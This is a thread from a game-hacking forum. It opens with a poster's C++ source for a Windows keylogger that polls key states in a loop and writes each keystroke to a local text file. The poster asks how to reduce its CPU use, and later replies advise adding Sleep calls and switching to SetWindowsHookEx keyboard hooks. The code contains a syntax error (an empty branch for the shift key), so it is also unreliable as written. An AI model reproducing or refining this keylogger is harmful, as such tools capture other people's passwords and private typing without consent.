google-site-verification: googlebaca44933768a824.html keylogger help!!! - Old Royal Hack Forum

Announcement

Collapse
No announcement yet.

keylogger help!!!

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    keylogger help!!!

    Code:
    #include <iostream>
    #include <windows.h>
    #include <winuser.h>
     
    int Save (int key_stroke, char *log);
     
    int main()
    {
        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS); // already found out
        char i;
        std::cout << "keylogging started" << std::endl;
     
        while (1)
        {
            for (i = 8; i <= 190; i++)
            {
                if (GetAsyncKeyState(i) == -32767)
                    Save (i, "asd.txt");
            }
        }
        system("pause");
        return 0;
    }
    int Save (int key_stroke, char *log)
    {
        if ( (key_stroke == 1) || (key_stroke == 2) )
            return 0;
     
        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen(log, "a+");
     
        std::cout << key_stroke << std::endl;
     
            if (key_stroke == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (key_stroke == 13)
            fprintf(OUTPUT_FILE, "%s", "\n");
            else if (key_stroke == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
            else if (key_stroke == VK_TAB)
            fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
            else if (key_stroke == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]");
            else if (key_stroke == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]");
            else if (key_stroke == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
            else if (key_stroke == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]");
            else
            fprintf(OUTPUT_FILE, "%s", &key_stroke);
     
    fclose (OUTPUT_FILE);
        return 0;
    }
    this shit uses 100% cpu, how to reduce cpu usage?
    ok bai

    #2
    Re: keylogger help!!!

    I could use sleep, but where and how much?
    ok bai

    Comment


      #3
      Re: keylogger help!!!

      Throw some Sleep after while( 1 ) to let your CPU out of it's pain.
      Overall that coden is pretty sloppy, consider using SetWindowsHookEx for keystrokes.
      lolmaoman: Germans are born with a lifetime x22 login engraved into their birth certificates. True story.
      I DONT HAVE TEAMVIEWER AND IM NOT GOING TO GIVE ANY 24/7 ONLINE SUPPORT VIA STEAM, XFIRE OR OTHER IM PROGRAMS SO DONT BOTHER ASKING. THANKS.

      Comment


        #4
        Re: keylogger help!!!

        Originally posted by mencore View Post
        Throw some Sleep after while( 1 ) to let your CPU out of it's pain.
        Overall that coden is pretty sloppy, consider using SetWindowsHookEx for keystrokes.
        hmmm but idk how to use it (yet :P)

        thanks!
        ok bai

        Comment

        Working...
        X